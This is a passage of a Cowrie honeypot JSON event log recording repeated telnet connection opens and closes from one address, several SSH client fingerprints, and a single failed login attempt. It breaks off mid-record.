{"eventid":"cowrie.session.closed","duration":30.850753784179688,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:43.677387Z","src_ip":"50.6.3.16","session":"bb10ec6112c8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.709325075149536,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:44.153227Z","src_ip":"50.6.3.16","session":"09895146c6a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.238067626953125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:44.374039Z","src_ip":"50.6.3.16","session":"317b5ec0ac31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":58754,"dst_ip":"10.17.0.5","dst_port":23,"session":"b918df221982","protocol":"telnet","message":"New connection: 50.6.3.16:58754 (10.17.0.5:23) [session: b918df221982]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:44.805940Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":58760,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c6a3439dde4","protocol":"telnet","message":"New connection: 50.6.3.16:58760 (10.17.0.5:23) [session: 2c6a3439dde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:44.938866Z"}
{"eventid":"cowrie.session.closed","duration":30.976909637451172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:45.101964Z","src_ip":"50.6.3.16","session":"257baf1d8cce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":58774,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd849e62b5e5","protocol":"telnet","message":"New connection: 50.6.3.16:58774 (10.17.0.5:23) [session: bd849e62b5e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:46.655078Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":58780,"dst_ip":"10.17.0.5","dst_port":23,"session":"46599d83857c","protocol":"telnet","message":"New connection: 50.6.3.16:58780 (10.17.0.5:23) [session: 46599d83857c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:46.840685Z"}
{"eventid":"cowrie.session.closed","duration":31.11519980430603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:47.168044Z","src_ip":"50.6.3.16","session":"9e6feacc43dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":58792,"dst_ip":"10.17.0.5","dst_port":23,"session":"630cd1e38f82","protocol":"telnet","message":"New connection: 50.6.3.16:58792 (10.17.0.5:23) [session: 630cd1e38f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:47.173317Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":58794,"dst_ip":"10.17.0.5","dst_port":23,"session":"d67e5daad522","protocol":"telnet","message":"New connection: 50.6.3.16:58794 (10.17.0.5:23) [session: d67e5daad522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:47.536974Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":58800,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff628dfe6130","protocol":"telnet","message":"New connection: 50.6.3.16:58800 (10.17.0.5:23) [session: ff628dfe6130]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:47.642299Z"}
{"eventid":"cowrie.session.closed","duration":30.97931480407715,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:50.430089Z","src_ip":"50.6.3.16","session":"3e3749e1ccb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59048,"dst_ip":"10.17.0.5","dst_port":23,"session":"fed7f214f373","protocol":"telnet","message":"New connection: 50.6.3.16:59048 (10.17.0.5:23) [session: fed7f214f373]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:50.987669Z"}
{"eventid":"cowrie.session.closed","duration":30.940566062927246,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:51.708683Z","src_ip":"50.6.3.16","session":"a63e3c03fd45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59060,"dst_ip":"10.17.0.5","dst_port":23,"session":"69c794495561","protocol":"telnet","message":"New connection: 50.6.3.16:59060 (10.17.0.5:23) [session: 69c794495561]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:51.890098Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59080,"dst_ip":"10.17.0.5","dst_port":23,"session":"69e1a2c0db7a","protocol":"telnet","message":"New connection: 50.6.3.16:59080 (10.17.0.5:23) [session: 69e1a2c0db7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:52.728910Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59070,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d4532f9bb11","protocol":"telnet","message":"New connection: 50.6.3.16:59070 (10.17.0.5:23) [session: 0d4532f9bb11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:53.167944Z"}
{"eventid":"cowrie.session.closed","duration":31.079014778137207,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:53.193078Z","src_ip":"50.6.3.16","session":"6da3c6020dde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.09204864501953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:53.605855Z","src_ip":"50.6.3.16","session":"8c18275dce93","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.286998510360718,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:53.637960Z","src_ip":"50.6.3.16","session":"d7523247c0ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.070799112319946,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:53.858701Z","src_ip":"50.6.3.16","session":"68a605dba758","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59106,"dst_ip":"10.17.0.5","dst_port":23,"session":"b87aca8259b9","protocol":"telnet","message":"New connection: 50.6.3.16:59106 (10.17.0.5:23) [session: b87aca8259b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:54.070931Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59090,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c5f057a7719","protocol":"telnet","message":"New connection: 50.6.3.16:59090 (10.17.0.5:23) [session: 4c5f057a7719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:54.191556Z"}
{"eventid":"cowrie.session.closed","duration":31.086002826690674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:55.384048Z","src_ip":"50.6.3.16","session":"ccc82ed2fd68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.121628284454346,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:56.261169Z","src_ip":"50.6.3.16","session":"316ff5b6c22d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59120,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cce6f5a3531","protocol":"telnet","message":"New connection: 50.6.3.16:59120 (10.17.0.5:23) [session: 1cce6f5a3531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:56.305520Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59132,"dst_ip":"10.17.0.5","dst_port":23,"session":"cd3411d09ec0","protocol":"telnet","message":"New connection: 50.6.3.16:59132 (10.17.0.5:23) [session: cd3411d09ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:56.454031Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59134,"dst_ip":"10.17.0.5","dst_port":23,"session":"c4e45c5b2c15","protocol":"telnet","message":"New connection: 50.6.3.16:59134 (10.17.0.5:23) [session: c4e45c5b2c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:57.106377Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":59142,"dst_ip":"10.17.0.5","dst_port":23,"session":"3757f84f3d1a","protocol":"telnet","message":"New connection: 50.6.3.16:59142 (10.17.0.5:23) [session: 3757f84f3d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:57.373282Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50706,"dst_ip":"10.17.0.5","dst_port":23,"session":"30d5adc1f761","protocol":"telnet","message":"New connection: 50.6.3.16:50706 (10.17.0.5:23) [session: 30d5adc1f761]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:58.625569Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50708,"dst_ip":"10.17.0.5","dst_port":23,"session":"c83de7cbdfad","protocol":"telnet","message":"New connection: 50.6.3.16:50708 (10.17.0.5:23) [session: c83de7cbdfad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:39:59.433110Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50718,"dst_ip":"10.17.0.5","dst_port":23,"session":"d40b1b3f8281","protocol":"telnet","message":"New connection: 50.6.3.16:50718 (10.17.0.5:23) [session: d40b1b3f8281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:00.016392Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50726,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fb71d90ff33","protocol":"telnet","message":"New connection: 50.6.3.16:50726 (10.17.0.5:23) [session: 0fb71d90ff33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:00.488689Z"}
{"eventid":"cowrie.session.closed","duration":30.107455730438232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:00.550988Z","src_ip":"50.6.3.16","session":"4e711fcd679b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50742,"dst_ip":"10.17.0.5","dst_port":23,"session":"c671085d9bdb","protocol":"telnet","message":"New connection: 50.6.3.16:50742 (10.17.0.5:23) [session: c671085d9bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:01.577273Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50750,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5c0826ac342","protocol":"telnet","message":"New connection: 50.6.3.16:50750 (10.17.0.5:23) [session: b5c0826ac342]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:02.329547Z"}
{"eventid":"cowrie.session.closed","duration":31.072301626205444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:02.384273Z","src_ip":"50.6.3.16","session":"3d0b7118b817","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.519933223724365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:02.746375Z","src_ip":"50.6.3.16","session":"699c382f1d99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.394303560256958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:02.803870Z","src_ip":"50.6.3.16","session":"7e79ebee6731","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.578110218048096,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:03.083157Z","src_ip":"50.6.3.16","session":"a68831d75f05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.069350004196167,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:03.115516Z","src_ip":"50.6.3.16","session":"7acf7c97eaaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.07352900505066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:04.758667Z","src_ip":"50.6.3.16","session":"64430ea44e0b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50760,"dst_ip":"10.17.0.5","dst_port":23,"session":"949bf24c6e68","protocol":"telnet","message":"New connection: 50.6.3.16:50760 (10.17.0.5:23) [session: 949bf24c6e68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:05.176896Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50776,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f608cadca61","protocol":"telnet","message":"New connection: 50.6.3.16:50776 (10.17.0.5:23) [session: 2f608cadca61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:05.756023Z"}
{"eventid":"cowrie.session.closed","duration":31.134833097457886,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:05.783985Z","src_ip":"50.6.3.16","session":"96bc0e961487","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.238819360733032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:06.369006Z","src_ip":"50.6.3.16","session":"58cbe43a9271","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.444020986557007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:06.562646Z","src_ip":"50.6.3.16","session":"3bcd44e9abfa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":50778,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdb583cdf92c","protocol":"telnet","message":"New connection: 50.6.3.16:50778 (10.17.0.5:23) [session: fdb583cdf92c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:07.268343Z"}
{"eventid":"cowrie.session.connect","src_ip":"211.186.79.173","src_port":55426,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e4747dcc2a8","protocol":"ssh","message":"New connection: 211.186.79.173:55426 (10.17.0.5:22) [session: 0e4747dcc2a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:07.403403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:07.409339Z","src_ip":"211.186.79.173","session":"0e4747dcc2a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:07.593643Z","src_ip":"211.186.79.173","session":"0e4747dcc2a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.082247495651245,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:07.719220Z","src_ip":"50.6.3.16","session":"6f8093194375","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.071244478225708,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:08.004830Z","src_ip":"50.6.3.16","session":"c9a7ef93a53f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"19999999","message":"login attempt [admin/19999999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:08.356869Z","src_ip":"211.186.79.173","session":"0e4747dcc2a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:09.547505Z","src_ip":"211.186.79.173","session":"0e4747dcc2a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34430,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a5cd3ce5860","protocol":"telnet","message":"New connection: 50.6.3.16:34430 (10.17.0.5:23) [session: 0a5cd3ce5860]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:09.732888Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34440,"dst_ip":"10.17.0.5","dst_port":23,"session":"1dea1857daf9","protocol":"telnet","message":"New connection: 50.6.3.16:34440 (10.17.0.5:23) [session: 1dea1857daf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:10.070326Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34452,"dst_ip":"10.17.0.5","dst_port":23,"session":"d21844f82789","protocol":"telnet","message":"New connection: 50.6.3.16:34452 (10.17.0.5:23) [session: d21844f82789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:10.489587Z"}
{"eventid":"cowrie.session.closed","duration":30.65554428100586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:10.969201Z","src_ip":"50.6.3.16","session":"76a33c7ce2d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34454,"dst_ip":"10.17.0.5","dst_port":23,"session":"15f532cb48e2","protocol":"telnet","message":"New connection: 50.6.3.16:34454 (10.17.0.5:23) [session: 15f532cb48e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:13.174204Z"}
{"eventid":"cowrie.session.closed","duration":30.894909620285034,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:13.574621Z","src_ip":"50.6.3.16","session":"8b71dddf41a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34460,"dst_ip":"10.17.0.5","dst_port":23,"session":"958096339efa","protocol":"telnet","message":"New connection: 50.6.3.16:34460 (10.17.0.5:23) [session: 958096339efa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:14.844165Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34464,"dst_ip":"10.17.0.5","dst_port":23,"session":"35c04ccfcd07","protocol":"telnet","message":"New connection: 50.6.3.16:34464 (10.17.0.5:23) [session: 35c04ccfcd07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:15.546199Z"}
{"eventid":"cowrie.session.closed","duration":31.09682583808899,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:15.902606Z","src_ip":"50.6.3.16","session":"b918df221982","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.007806539535522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:15.946528Z","src_ip":"50.6.3.16","session":"2c6a3439dde4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.3.16","src_port":34468,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc0e8a48af90","protocol":"telnet","message":"New connection: 50.6.3.16:34468 (10.17.0.5:23) [session: fc0e8a48af90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:16.917339Z"}
{"eventid":"cowrie.session.closed","duration":31.11812710762024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:17.773092Z","src_ip":"50.6.3.16","session":"bd849e62b5e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.076512098312378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:17.917082Z","src_ip":"50.6.3.16","session":"46599d83857c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.950596809387207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:18.123819Z","src_ip":"50.6.3.16","session":"630cd1e38f82","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.068479537963867,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:18.710645Z","src_ip":"50.6.3.16","session":"ff628dfe6130","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32396650314331,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:18.860845Z","src_ip":"50.6.3.16","session":"d67e5daad522","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.160.153","src_port":44054,"dst_ip":"159.203.135.109","dst_port":22,"session":"8777a320bafc","protocol":"ssh","message":"New connection: 4.213.160.153:44054 (159.203.135.109:22) [session: 8777a320bafc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:20.994685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T20:40:21.005054Z","src_ip":"4.213.160.153","session":"8777a320bafc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"